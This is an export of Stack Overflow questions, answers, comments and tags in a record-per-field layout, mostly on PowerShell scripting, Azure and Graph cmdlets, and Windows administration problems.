has body: I think the list you want is defined in a CommandType enum. Alias | Function | Filter | Cmdlet | Script | ExternalScript | Application | Configuration https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/CommandInfo.cs#L23
answers question: http://stackoverflow.com/q/79171856
downvote count: 1
type: Answer

http://stackoverflow.com/q/79204520
has comment: http://stackoverflow.com/comment/139667077
has comment: http://stackoverflow.com/comment/139668023
has comment: http://stackoverflow.com/comment/139667047
answer count: 0
has comment: http://stackoverflow.com/comment/139667276
tagged with: powershell
has title: How to determine if an NCR ATM is in service or out of service programmatically based on fault logs?
tagged with: logging
tagged with: c#
has body: I am working on a project where I need to programmatically determine whether a unit (e.g., an ATM or similar device) is in service or out of service. The unit generates logs that include fault entries, and my task is to analyze these logs to evaluate the service status. Here’s the context: Input Data: Logs contain fault entries with various types of issues (e.g., "Currency transport jam," "Card reader fault"). Some faults are critical (impact service), while others are non-critical (do not impact service). Current Approach: I parse the log entries and identify faults. If any fault is found, I currently classify the unit as "Out of Service." However, this is not accurate because certain faults do not disrupt service. Desired Logic: Distinguish between critical faults (e.g., "Currency transport jam") and non-critical faults (e.g., "Printer low on paper"). Mark the unit as Out of Service only if critical faults exist. Otherwise, mark it as In Service. Programming Language: I am using powershell for testing but the main service is in C#. What I’ve Tried: Created a list of critical faults. Iterated through log entries to match faults against the critical list. Challenges: Some faults are ambiguous and may require thresholds (e.g., repeated non-critical faults within a time period might also disrupt service). I am unsure how to efficiently structure the logic for this evaluation. Question: How can I implement a reliable method to evaluate the service status programmatically? Are there best practices for fault classification and status evaluation based on logs? Example Log Entries: 19/11/2024,15:24:59.097,TTUSP,FW, Currency transport jam 19/11/2024,15:22:59.061,TTUSP,CU, Printer low on paper Expected Output: If only "Currency transport jam" exists → Out of Service. If only "Printer low on paper" exists → In Service. I appreciate any guidance or code examples!
type: UnansweredQuestion
tagged with: ncr
score: 0
type: Question

http://stackoverflow.com/comment/139665895
score: 1
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
has text: @Darin: Ultimately (and unfortunately), every CLI in Windows is free to make up its own rules when it comes to parsing its process command line (a concept that doesn't even exist in the Unix world, where arguments are passed as an array of verbatim strings). PowerShell decided to strip unescaped `"` characters from a `-Command` argument before interpreting the result as PowerShell code, though it could equally have decided to retain them; e.g., while `powershell.exe -File some.ps1 "quoted argument"` works fine, `powershell.exe -Command Write-Output "quoted argument"` does not.
type: Comment

http://stackoverflow.com/comment/139722408
type: Comment
score: 0
has text: @Dan, is a domain-originated GPO in place that prevents script execution? GPO-based execution policies preempt `-ExecutionPolicy` CLI arguments, though I've found that running a shutdown script with `-ExecutionPolicy Bypass` somehow manages to override at least a _local_ GPO that prevents script execution (or requires all scripts to be _signed_) - something that interactive calls, including via `psexec -s`, cannot do.
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052

http://stackoverflow.com/q/79099681
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure
tagged with: microsoft-graph-api
has body: I have seen several articles online, but I do not think it is for what I need. I am looking for a Graph cmdlet in Powershell to add a user to PIM for a privileged security group, like what is done in Entra below. This is from the security group's page in Entra: I found this documentation of possible cmdlets, but the naming of them is pretty confusing. Does anybody know which cmdlet is the one I need? Thanks!
has comment: http://stackoverflow.com/comment/139479756
has title: Graph Powershell adding a user to PIM for a privileged security group
has answer: http://stackoverflow.com/a/79100935
has comment: http://stackoverflow.com/comment/139479759
score: 1
accepted answer: http://stackoverflow.com/a/79100935
upvote count: 1
favorite count: 0
tagged with: pim
has comment: http://stackoverflow.com/comment/139477426
type: Question
downvote count: 0

case-conversion
type: Tag
tags question: http://stackoverflow.com/q/79090297
tag name: case-conversion

http://stackoverflow.com/comment/139619735
type: QuestionComment
has text: `Failed to send LLC packet: Cannot find an overload for "SendTo" and the argument count: "1".`
type: Comment
comment on: http://stackoverflow.com/q/79178285
score: 0

http://stackoverflow.com/a/79244819
answers question: http://stackoverflow.com/q/79244582
downvote count: 0
type: Answer
has body: To add to Santiagio's helpful answer: Another option that avoids inadvertent creation of jagged arrays is to use array concatenation via the + operator: If the LHS of a + operation is array-like (an array or a similar data type that PowerShell would auto-enumerate in the pipeline), the RHS is "appended" to the array: That is, a new array is being created and returned with the RHS as additional element(s). If the RHS is itself array-like, its elements become individual elements of the new array; that is, using + to "add" two flat arrays results in another flat array. Therefore, you can do the following: return [string[]] ( 'valueFoo', 'valueBar' + (Get-ChildItem 'c:\temp' -File).BaseName ) Note that, perhaps surprisingly, , (the array constructor operator) has higher precedence than +, so the LHS array ('valueFoo', 'valueBar') does not require enclosure in (...), the grouping operator.
score: 1
upvote count: 1

http://stackoverflow.com/a/79095515
has body: Three ideas, one is using IndexOf and -Descending sorting: $serviceServer = [ordered]@{ 'service3' = @('server1') 'service1' = @('server2', 'server3') 'service2' = @('server1', 'server2', 'server3') 'servicefoo' = @('server1') } $keys = @($serviceServer.Keys) $serviceServer.GetEnumerator() | Sort-Object { $keys.IndexOf($_.Key) } -Descending Second one is using Enumerable.Reverse: [System.Linq.Enumerable]::Reverse([object[]] $serviceServer.Keys) | ForEach-Object { "Service: '$_' - [$($serviceServer[$_])]" } Third one is by casting to a Stack: [System.Collections.Stack] $serviceServer In all cases the original OrderedDictionary is intact but you can create a new one following this logic.
has comment: http://stackoverflow.com/comment/139484930
has comment: http://stackoverflow.com/comment/139467978
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/79095487
has comment: http://stackoverflow.com/comment/139468581
type: Answer

http://stackoverflow.com/comment/139605526
has text: So why is the `Write-Host` there? It's what's causing your issue.
type: QuestionComment
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79170631

http://stackoverflow.com/comment/139685338
comment on: http://stackoverflow.com/a/79213678
score: 0
type: AnswerComment
has text: I've seen examples using the $System.AccessToken and that would be my preference. However, it doesn't seem to be present. Again, this is an AzureCLI@2 task in a **release pipeline**. I tried your code (added the org name) and got an error that the variable doesn't exist. Perhaps the tasks run differently under different contexts?
type: Comment

azure-eventhub
tags question: http://stackoverflow.com/q/79155083
type: Tag
tag name: azure-eventhub

http://stackoverflow.com/comment/139706452
has text: That is because `$_.lastaccessed` amounts to `$null` and therefore comparing it with `-lt $someDateTime` will always be True. P.S. You can omit `-not $_.PsIsContainer` if you append the `-File` switch to the Get-ChildItem cmd
type: QuestionComment
comment on: http://stackoverflow.com/q/79226751
type: Comment
score: 1

http://stackoverflow.com/comment/139528975
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0
has text: But the filters and Searchbase are what are pulling the recovery keys, how would that work if I removed them?

function
tags question: http://stackoverflow.com/q/79193243
tag name: function
type: Tag
tags question: http://stackoverflow.com/q/79284301
tags question: http://stackoverflow.com/q/79256764
tags question: http://stackoverflow.com/q/79324508
tags question: http://stackoverflow.com/q/79345015
tags question: http://stackoverflow.com/q/79475346

http://stackoverflow.com/comment/139435388
type: Comment
has text: This is working (+1) Is there a way to set this from the mvn command? I don't want to tell developers to manually configure their terminal window every time they want to execute a test..
score: 0
comment on: http://stackoverflow.com/q/79077815
type: QuestionComment

http://stackoverflow.com/comment/139521212
has text: According to your description, the issue is related to the agent used by you. You can try to install and import the latest `MicrosoftPowerBIMgmt` on your affected agent and check what's the result. Refer to my answer below.
comment on: http://stackoverflow.com/q/79098114
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79230237
score: 0
answers question: http://stackoverflow.com/q/79227388
has body: Also assuming your second example is a typo, here's another way: $numbers = @( "0,6774", # Example with decimal separator as comma "1.490,967", # Example with thousands separator "114,9", # Example with decimal separator as comma "1.218,3547" # Example with both thousands separator and decimal as comma ) $styleIn = [System.Globalization.NumberStyles]"AllowLeadingSign, AllowDecimalPoint, AllowThousands" # known culture that uses a decimal comma and a dot for thousand separator $cultureIn = [System.Globalization.CultureInfo]"nl-NL" $cultureOut = [System.Globalization.CultureInfo]::InvariantCulture [decimal]$numberOut = 0 $numbers | ForEach-Object { if ([decimal]::TryParse($_, $styleIn, $cultureIn, [ref]$numberOut)) { # $numberOut is now the decimal value itself # for display purposes: # format "G" --> no thousand separators and decimal point. @{$_ = $numberOut.ToString("G", $cultureOut)} } } Output: Name Value ---- ----- 0,6774 0.6774 1.490,967 1490.967 114,9 114.9 1.218,3547 1218.3547 A DOY way using regex could be: $numbers = @( "0,6774", # Example with decimal separator as comma "1.490,967", # Example with thousands separator "114,9", # Example with decimal separator as comma "1.218,3547" # Example with both thousands separator and decimal as comma ) $culture = [System.Globalization.CultureInfo]::InvariantCulture $numbers | ForEach-Object { if ($_ -match '^[+-]?(?:(?:0|[1-9][0-9]{0,2}(?:\.[0-9]{3})*)|\d+)(?:,\d+)?$') { $numberOut = [decimal]::Parse(($_ -split ',', 2) -replace '[,.]' -join '.', $culture) } else { $numberOut = [decimal]$_ } # for display purposes: # format "G" --> no thousand separators and decimal point. @{$_ = $numberOut.ToString("G", $culture)} }
type: Answer

http://stackoverflow.com/comment/139713322
type: QuestionComment
has text: Note that `Verb = "runas"` is ignored, unless you set `UseShellExecute` to `true`. That said, if you're already running elevated, this shouldn't matter. Note that you're using the local computer name as the MSSQL instance name.. As an aside: You can simplify `(get-item env:\computername).Value` to `$env:computername`.
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 1

http://stackoverflow.com/comment/139468123
comment on: http://stackoverflow.com/q/79095487
type: QuestionComment
type: Comment
score: 0
has text: I love performance and readability for other people, wich don't have the experience I have. So it might be good to design a key holder for this question. Something like a design pattern. ... And I don't want a resolution that fast. Might be there are some other good ideas for a common problem.

office365
tag name: office365
tags question: http://stackoverflow.com/q/79239345
type: Tag
tags question: http://stackoverflow.com/q/79229441
tags question: http://stackoverflow.com/q/79392746
tags question: http://stackoverflow.com/q/79360943
tags question: http://stackoverflow.com/q/79364096
tags question: http://stackoverflow.com/q/79334181
tags question: http://stackoverflow.com/q/79518747
tags question: http://stackoverflow.com/q/79472049
tags question: http://stackoverflow.com/q/79546707

http://stackoverflow.com/comment/139688879
has text: @SantiagoSquarzon Interesting and maybe useful, but I can't play with it since there is no description on how to produce the input file.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79216363

http://stackoverflow.com/comment/139429049
score: 0
has text: Can you post the output you get when running the script?
comment on: http://stackoverflow.com/q/79074308
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139717859
type: Comment
comment on: http://stackoverflow.com/a/79230278
has text: When you sign in as user, are you getting all subscriptions?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139713770
type: AnswerComment
type: Comment
has text: When you run `Get-AzSubscription` command, are you able to get all subscriptions info in response?
comment on: http://stackoverflow.com/a/79230278
score: 0

http://stackoverflow.com/comment/139716570
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79230965
score: 0
has text: As an aside: There's generally no reason to use `"& { ... }"` in order to invoke code passed to PowerShell's CLI via the `-Command` (`-c`) parameter - just use `"..."` directly. Older versions of the [CLI documentation](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pwsh) erroneously suggested that `& { ... }` is required, but this has since been corrected.

http://stackoverflow.com/comment/139557818
has text: When I try your code with the `Where-Object` then the `$sample` just contains all 11 input lines, so without any filtering. And the regex result also contains 11 lines. I'm using PowerShell 5.1 not sure if that matters though
type: AnswerComment
comment on: http://stackoverflow.com/a/79145053
type: Comment
score: 0

http://stackoverflow.com/comment/139618465
has text: Thanks for the suggestion! My concern is that script authors are used to direct method calls, so needing to adapt to Invoke-Callback -Stub LogMessage -Arguments 'Hello' might feel cumbersome for them. Any ideas for keeping the direct syntax while still applying ConstrainedLanguage restrictions?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79177876

mdm
tag name: mdm
tags question: http://stackoverflow.com/q/79194193
type: Tag

http://stackoverflow.com/comment/139659756
has text: "I'm not aware of any setting to make the event log service render the volume label in the log entry," .. I guess I was not clear on my issue. I am not after the Volume Label. I am after the actual name of the folder created. The log entry only states "New Folder" for any folder created when in fact, the folder name created is "Testing123". ObjectName never seems to contain the actual name of the folder created. Sorry for not being more clear.
comment on: http://stackoverflow.com/a/79199611
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139658446
type: Comment
comment on: http://stackoverflow.com/a/79199716
score: 0
has text: Thanks, how does your profile.ps1 looks like?
type: AnswerComment

http://stackoverflow.com/a/79100894
answers question: http://stackoverflow.com/q/79100678
type: Answer
score: 0
has body: The issue is probably due to the encoding of the CSV file. Try this: import os import sys with open("FilenameChange.csv", encoding="utf-8") as data: next(data) # skip header for line in map(str.rstrip, data): try: os.rename(*line.split(",")) except Exception as e: print(e, file=sys.stderr)

http://stackoverflow.com/comment/139547818
score: 0
has text: can i also delete the recoverable items folder ?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79136043

http://stackoverflow.com/comment/139729333
type: QuestionComment
type: Comment
has text: `Microsoft.Winget.Client` is indeed a PowerShell module, but `winget` is not a cmdlet exported by that module - it's the name of the native winget binary. To see the commands exported by the module, do `Get-Command -Module Microsoft.Winget.Client`
score: 3
comment on: http://stackoverflow.com/q/79239103

http://stackoverflow.com/comment/139656847
type: AnswerComment
comment on: http://stackoverflow.com/a/79199171
type: Comment
has text: See also https://superuser.com/questions/739631/can-you-make-windows-7-not-localize-folder-names
score: 1

http://stackoverflow.com/comment/139665815
comment on: http://stackoverflow.com/q/79200338
score: 0
has text: I believe the last 2 comments on one of the linked questions you provided provide some clues https://stackoverflow.com/questions/62564356/set-get-custom-file-properties-with-powershell
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139651243
score: 1
type: AnswerComment
has text: _Conceivably...the generic provider cmdlets, such as New-Item and Set-Content, could be extended to provide entity-specific dynamic parameters..._ I had this same thought. That would be the idiomatic way to achieve the functionality, I think.
comment on: http://stackoverflow.com/a/79193354
type: Comment

http://stackoverflow.com/comment/139726564
comment on: http://stackoverflow.com/q/79237732
type: QuestionComment
type: Comment
score: 0
has text: @SantiagoSquarzon I hear you, it's just confusing that powershell allows for specific type declarationbut then forces you to use something that feels a lot more "dynamic" in this case

http://stackoverflow.com/comment/139547302
has text: As an aside: The CIM cmdlets (e.g., `Get-CimInstance`) superseded the WMI cmdlets (e.g., `Get-WmiObject`) in PowerShell v3 (released in September 2012). Therefore, the WMI cmdlets should be avoided, not least because PowerShell (Core) 7, where all future effort will go, doesn't even _have_ them anymore. Note that WMI still _underlies_ the CIM cmdlets, however. For more information, see [this answer](https://stackoverflow.com/a/54508009/45375).
score: 4
type: Comment
comment on: http://stackoverflow.com/a/79138834
type: AnswerComment

google-api
type: Tag
tags question: http://stackoverflow.com/q/79072082
tag name: google-api

azure-cli
tag name: azure-cli
type: Tag
tags question: http://stackoverflow.com/q/79099651
tags question: http://stackoverflow.com/q/79320969
tags question: http://stackoverflow.com/q/79375196
tags question: http://stackoverflow.com/q/79535515

http://stackoverflow.com/comment/139571158
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79151093
has text: Great, thanks for the indepth reply. So if it weren't for the bug with setting by index, then this would be a reasonable approach? I couldn't find any other dictionary type that used OnValidate.
type: Comment

http://stackoverflow.com/q/79109947
tagged with: powershell
has body: After searching at internet I still could not find an answer on how to configure Visual Studio Code to debug Powershell script that require elevated (Administrator) rights for it ? I started the VSCode itself as admin but the error stay the same - I don't have enough access rights to use those CmdLets For example Powershell script: #Requires -PSEdition Core #Requires -RunAsAdministrator &lt;# .SYNOPSIS This script must be run with elevated user (Administrator) #&gt; Import-Module IISAdministration; $iisManager = Get-IISServerManager ... ... error is: $iisManager = Get-IISServerManager | ~~~~~~~~~~~~~~~~~~~~ | Filename: redirection.config Error: Cannot read configuration file due to insufficient permissions
score: 0
has title: How to debug Powershell Core script in Visual Studio Code that require admin
type: UnansweredQuestion
tagged with: visual-studio-code
type: Question
has answer: http://stackoverflow.com/a/79124386
answer count: 1

http://stackoverflow.com/comment/139496415
type: QuestionComment
comment on: http://stackoverflow.com/q/79111442
type: Comment
score: 0
has text: You can use SMO to extract the steps etc https://learn.microsoft.com/en-us/dotnet/api/microsoft.sqlserver.management.smo.agent.job?view=sql-smo-160

http://stackoverflow.com/comment/139637835
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79186126
type: Comment
has text: Trying both, i have read out from reg-database and added shortcuts to the AppData folder, cleared icon cach before restart without luck. The shortcuts are present, but not visibel in the taskbar

http://stackoverflow.com/comment/139660460
comment on: http://stackoverflow.com/q/79201033
type: QuestionComment
type: Comment
has text: `.Replace` is a method on the `System.String` class and is used for literal replacements, doesn't know what regex is whereas `-replace` is a PowerShell operator that directs the call to `Regex.Replace` static method using `IgnoreCase` as default its default `RegexOptions`. That's why.
score: 0

http://stackoverflow.com/comment/139663604
has text: I am facing an issue when triggering a pipeline using the `az pipeline run `command. If the pipeline involves two site names, the deployment for the second site only starts after the first one is completed, meaning parallelism is not achieved. This is a concern because I have around 40–50 sites in the `filteredWebsitesPath`, and the current setup will take a significant amount of time to complete. @Rui
type: AnswerComment
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0

monitor
type: Tag
tag name: monitor
tags question: http://stackoverflow.com/q/79069723

http://stackoverflow.com/q/79239103
has comment: http://stackoverflow.com/comment/139729469
type: Question
tagged with: module
answer count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139729333
has body: I have been trying to fix this for a while now and nothing seems to work. If I type get-installedmodule I can find all my installed modules. If I type import-module I dont get any prompt which is as expected. If I type get-module I can see whichever module I choose. As soon as I try to use any of my installed modules, I get the following winget : The term 'winget' is not recognized as the name of a cmdlet, function, script file, or operable program This is happening with any modules I've installed since the device was rebuilt a year ago. All was working fine just a few days ago?
has comment: http://stackoverflow.com/comment/139729154
score: 0
has comment: http://stackoverflow.com/comment/139728913
type: UnansweredQuestion
has title: No Modules Loading in Powershell

http://stackoverflow.com/a/79115035
has comment: http://stackoverflow.com/comment/139503523
type: Answer
upvote count: 2
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/79112483
has comment: http://stackoverflow.com/comment/139503757
accepted answer of: http://stackoverflow.com/q/79112483
has comment: http://stackoverflow.com/comment/139503564
type: AcceptedAnswer
has body: If you're just looking to get icon count probably ExtractIcon is simpler than ExtractIconEx (which is meant to extract large and small icons). In your current implementation you're also missing a call to DestroyIcon to dispose the handle as suggested in Remarks. (EDIT: This is not needed when getting the icon count - -1 as argument to nIconIndex - my bad). Add-Type -Namespace Native -Name ShellApi ' [DllImport("shell32.dll", CharSet = CharSet.Unicode)] private static extern IntPtr ExtractIconW( [In] IntPtr hInst, [In] string lpszExeFileName, int nIconIndex); public static int GetIconCount(string path) { return ExtractIconW(IntPtr.Zero, path, -1).ToInt32(); }' Usage is just by passing the assembly name or path to executable or .ico: [Native.ShellApi]::GetIconCount('shell32.dll') # 329 [Native.ShellApi]::GetIconCount('user32.dll') # 7 [Native.ShellApi]::GetIconCount((Get-Process -Id $PID).Path) # 1

requires-clause
type: Tag
tag name: requires-clause
tags question: http://stackoverflow.com/q/79102591

http://stackoverflow.com/comment/139529106
type: QuestionComment
has text: Perhaps [this post](https://stackoverflow.com/a/10303610/45375) helps, but it's not for the faint of heart.
type: Comment
comment on: http://stackoverflow.com/q/79128851
score: 0

http://stackoverflow.com/comment/139449899
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79084760
has text: After copy `C:\Windows\System32\WindowsPowerShell\v1.0` to `C:\Windows\SysWOW64\WindowsPowerShell` folder (renamed exiting `v1.0` to `v1.0-32bit` before copy), the installation is OK, but VS 2019 still cannot run with the same error. Now, just tried your command, ` `"C:\ProgramData\Microsoft\VisualStudio\Packages\Microsoft.VisualCpp.Redist.14,version=14.40.33816,chip=x86\VCRedistInstall.ps1"`, it immediately returns without anything on the PS terminal screen. Also, tried repairing VS 2019, but still the same error. VS 2022 is running OK now. But, I need VS 2019.

sqlcmd
tags question: http://stackoverflow.com/q/79209007
tag name: sqlcmd
type: Tag
tags question: http://stackoverflow.com/q/79531731

http://stackoverflow.com/comment/139613295
score: 2
type: Comment
has text: While AutoHotkey is a capable GUI scripting language, one can only hope that it _doesn't_ support automating responses to _UAC_ dialogs, specifically, as this would amount to a serious security vulnerability.
type: AnswerComment
comment on: http://stackoverflow.com/a/79174522

http://stackoverflow.com/a/79104853
answers question: http://stackoverflow.com/q/79104529
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: Since you say all machines are on the same subnet, I would get the info by reading the file length directly using UNC paths, like \\10.168.0.45\D$\Dump\logs\files\EXAMPLE.ENG. Try $targetIP = '10.168.0.45', '10.168.0.30', '10.168.0.47' # etc. array of computernames or IP addresses $remotePath = '\\{0}\D$\Dump\logs\default\Rk7\base\EXAMPLE.ENG' # template path where the computer's name or IP gets filled in $resultPath = 'C:\result.csv' # path for the resulting csv file on YOUR machine $credential = Get-Credential -Message "Enter credentials for remote access to $targetIP" # loop over the computers in the $targetIP array and collect the wanted info $result = foreach ($computer in $targetIP) { if (Test-Connection -ComputerName $computer -Count 1 -Quiet) { # if needed add -Credential $credential # create the path to the file. i.e. \\10.168.0.45\D$\Dump\logs\default\Rk7\base\EXAMPLE.ENG $filePath = $remotePath -f $computer $fileInfo = Get-Item -LiteralPath $filePath -ErrorAction SilentlyContinue # if needed add -Credential $credential if ($fileInfo) { # output an object with the wanted properties to be collected in variable $result [PsCustomObject]@{ 'Computer' = $computer 'FileSize(Bytes)' = $fileInfo.Length } } else { Write-Warning "File $filePath not found.." } } else { Write-Warning "Computer $computer is not reachable.." } } # finally, write the $results to a CSV file $result | Export-Csv -Path $resultPath -UseCulture -NoTypeInformation -Encoding UTF8

http://stackoverflow.com/a/79162386
downvote count: 0
answers question: http://stackoverflow.com/q/79162045
type: Answer
accepted answer of: http://stackoverflow.com/q/79162045
has body: Initially, you can run below PowerShell script to create an application with secret and add Mail.Send Delegated permission with consent: $appName = "MyTestingApp0611" $app = New-AzADApplication -DisplayName $appName $secret = New-AzADAppCredential -ApplicationId $app.AppId -EndDate (Get-Date).AddYears(1) Start-Sleep -Seconds 30 $graphApiId = '00000003-0000-0000-c000-000000000000' $mailSendId = 'e383f46e-2787-4529-855e-0e479a3ffac0' $graphSp = Get-AzADServicePrincipal -Filter "appId eq '$graphApiId'" Add-AzADAppPermission -ObjectId $app.Id -ApiId $graphApiId -PermissionId $mailSendId az ad app permission admin-consent --id $app.AppId Start-Sleep -Seconds 30 When I ran above code, new app registration created successfully having Mail.Send Delegated permission with consent like this: To generate a delegated token with Mail.Send permission using username password flow, refer below sample script: $tenantId = (Get-AzContext).Tenant.Id $clientId = $app.AppId $clientSecret = $secret.SecretText $username = "sri@xxxxxxx.onmicrosoft.com" $password = "xxxxxxxxxx" $tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" $body = @{ client_id = $clientId client_secret = $clientSecret scope = "https://graph.microsoft.com/Mail.Send" username = $username password = $password grant_type = "password" } $response = Invoke-RestMethod -Method Post -Uri $tokenUrl -ContentType "application/x-www-form-urlencoded" -Body $body $token = $response.access_token $token Response: To confirm that, I decoded above token in jwt.ms website and got scp claim like this:
upvote count: 1
has comment: http://stackoverflow.com/comment/139594324
score: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/139468032
comment on: http://stackoverflow.com/a/79091121
type: AnswerComment
has text: The `.*?` matches anything, so I updated my answer to be more generic
type: Comment
score: 0

http://stackoverflow.com/comment/139512014
type: Comment
comment on: http://stackoverflow.com/a/79095339
has text: (Note that I'm not the OP). I missed that you're pointing out that the expected behavior as described in the referenced textbook no longer applies. So your answer is helpful (+1), but it doesn't address the OP's _primary_ problem, which is one of shell syntax, as mentioned - and we can infer from what answer the OP accepted that they were (at least primarily) looking to solve that shell-syntax problem. Thus, my recommendation is to add a preamble to your answer for proper framing.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139471475
comment on: http://stackoverflow.com/q/79078578
has text: No, your example is invalid with an open `{` at the end, it has nothing to do with formatting. You need to post a [mcve] so that everyone can try and debug it. To address anyone you need to use `@user` or comment on their post. And please [edit] the question to include all the needed information: correct example input, what errors you get...
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139469910
type: QuestionComment
has text: I try from Powershell ISE also and from powershell 7 ,Even i try from Azure cloud shell where it showing forbidden
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79096641

http://stackoverflow.com/comment/139621068
type: QuestionComment
comment on: http://stackoverflow.com/q/79179274
type: Comment
score: 0
has text: Are you an admin or owner of the object?

http://stackoverflow.com/comment/139609670
has text: Sounds like you're basically looking for `ForEach-Object -Parallel`...
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79172648
score: 1

http://stackoverflow.com/comment/139719706
score: 0
comment on: http://stackoverflow.com/q/79227225
type: QuestionComment
type: Comment
has text: You should @mklement0! It is best practice to use consistent syntax so that you don't have to change behaviors, _(when for instance the `-Format` string of `Get-Date` contains a space)_. Similarly, all of your `set` commands in your answer should be using doublequotes too, e.g., `set "myFormat=dd\/MM"`. I am not incorrect, you simply do not understand the English meaning, and usage, of should. Should, is advisory, not compulsory; you use it for actions/responsibilities/duties that you think is best for the concerned subject. For this subject, it was best, as backed up by the code examples.

http://stackoverflow.com/comment/139425409
comment on: http://stackoverflow.com/q/79072446
has text: I don't fully understand, but note that the [`$OutputEncoding` preference variable](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Preference_Variables#outputencoding), as noted, solely relates to _external programs_; specifically, it controls what encoding is used to send data to external programs _via the pipeline_ (to their stdin stream).
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139648390
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79194279
type: QuestionComment
has text: I'm editing to get the alias commands out, as that's not the answer I was looking for. I was trying to find out why `Get-Content Function:\mkdir` works, but so many other non-alias functions do not work with the same command. Including an alias was a simple mistake, as I've tried with dozens of others as well.

http://stackoverflow.com/comment/139442873
comment on: http://stackoverflow.com/q/79077628
score: 0
has text: I have read the docs, am aware of your piece of code, having already run it successfully in the past. My main question revolves not around fixing the error I'm getting, per se. My primary goal is to debug and walk through the source code of the Deno program.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139661896
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79201672
type: Comment
has text: @alx9r, please see the footnote I've just added to the answer.

http://stackoverflow.com/q/79211591
type: Question
tagged with: kubernetes
answer count: 1
has answer: http://stackoverflow.com/a/79213080
tagged with: powershell
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79213080
has body: In installed argo-workflows Kubernetes Helm Chart from https://github.com/argoproj/argo-helm I want to create a workflow which orchestrate some Powershell scripts. So I created a test workflow like bellow: apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: powershell-002 namespace: argo-workflows spec: entrypoint: run-powershell templates: - name: run-powershell script: image: mcr.microsoft.com/powershell:latest command: ["pwsh", -c] source: | Write-Host "Hello, Argo! This is a PowerShell script." $date = Get-Date Write-Host "The current date and time is: $date" But the workflow run is failing with this error: powershell-002: ResourceUnavailable: Program 'script' failed to run: An error occurred trying to start process '/argo/staging/script' with working directory '/'. Exec format errorAt line:1 char:1 powershell-002: + /argo/staging/script powershell-002: + ~~~~~~~~~~~~~~~~~~~~. powershell-002: time="2024-11-21T14:16:14 UTC" level=info msg="sub-process exited" argo=true error="<nil>" powershell-002: Error: exit status 1 I tried to search for some related issues on argo documentation and internet but no clue about this error. Could you please guide me to fix this error?
has title: Kubernetes-Argo Workflow-Powershell script error
score: 0
tagged with: argo-workflows
tagged with: linux

http://stackoverflow.com/comment/139434932
type: Comment
score: 0
has text: ```[int[]] $idRange = 1..3``` for -3 bytes. Oh, wait this isn't codegolf.stackexchange.com :-)
type: AnswerComment
comment on: http://stackoverflow.com/a/79077603

http://stackoverflow.com/comment/139683867
type: AnswerComment
has text: Your example works, thank you for taking the time! However it seems that the issue are the word documents themselves. This snippet still returns null values when I try to access the individual Hyperlinks. When I create a new Word document and add test links inside, the script works fine. The docs are using the old format, so I'm assuming this is the issue. However I don't know of another way to edit the links or why the old format isn't working... I'll mark your answer as the solution, thank you!
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79212071

http://stackoverflow.com/comment/139463094
score: 1
type: QuestionComment
type: Comment
has text: A workaround for this is to set the remote DB pass in $env:PGPASSWORD. Then you can use a connection URI for master DB and connection with params for remote DB
comment on: http://stackoverflow.com/q/79090045

http://stackoverflow.com/comment/139528993
has text: @Theo - Running your script the way it is, $newusers comes up null when trying to add groups.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79116129
score: 0

ldap
tags question: http://stackoverflow.com/q/79074308
type: Tag
tag name: ldap
tags question: http://stackoverflow.com/q/79359034
tags question: http://stackoverflow.com/q/79476092

http://stackoverflow.com/comment/139666606
type: Comment
has text: That worked! Thankyou..
score: 1
comment on: http://stackoverflow.com/a/79201871
type: AnswerComment

http://stackoverflow.com/a/79178582
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139624838
has comment: http://stackoverflow.com/comment/139619905
answers question: http://stackoverflow.com/q/79177876
has body: From the requirements you've put forth, have you looked at/considered WCF + PowerShell? This would be far easier to control access and limit what can be run on the remote end. I have an example of how to do this, both in the PowerShell commandlet and the WCF Service Activity side.

http://stackoverflow.com/comment/139480141
type: Comment
has text: @Glad to be of help
score: 0
comment on: http://stackoverflow.com/a/79100935
type: AnswerComment

http://stackoverflow.com/comment/139610267
type: Comment
has text: [How to powershell to give warning or error when using an undefined variable?](https://stackoverflow.com/questions/35879774/how-to-powershell-to-give-warning-or-error-when-using-an-undefined-variable)
score: 0
comment on: http://stackoverflow.com/a/79173094
type: AnswerComment

http://stackoverflow.com/comment/139634363
